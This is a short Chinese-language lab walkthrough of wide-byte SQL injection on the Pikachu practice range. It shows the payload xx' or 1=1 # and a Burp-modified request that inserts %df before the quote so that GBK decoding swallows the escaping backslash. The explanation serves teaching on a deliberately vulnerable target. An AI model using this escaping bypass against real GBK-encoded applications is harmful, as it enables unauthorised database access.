Pikachu靶场 宽字节SQL注入

注 :宽字节注入 仅限于 GBK编码

打开 Pikachu靶场 宽字节注入 ,发现报错

xx' or 1=1 #

明明和 字符型注入 差不多,为什么不行?

原因 :因为程序检测到 ' 时,会在前加一个反斜杠,会注释掉 ' ,导致注入失败

xx\' or 1=1 #

xx' or 1=1 #

继续输入上面的代码,用 burp 抓包,得到下面的

name=xx%27+or+1%3D1+%23&submit=%E6%9F%A5%E8%AF%A2

改为

name=xx%df%27+or+1%3D1+%23&submit=%E6%9F%A5%E8%AF%A2

点击 Send ,注入成功

解释原因 :上面说到,程序检测到 ' 时,会在前加一个反斜杠

                   而 反斜杠 URL编码%5C 

                   因为是 GBK编码 ,在前面加的 %df 会和 %5C 一起被解码成一个汉字 “ 運 ”,

                   ' 得到保留,所以注入成功

附 编码解码网站

UrlEncode编码/UrlDecode解码 - 站长工具

你可能感兴趣的:(sql,数据库)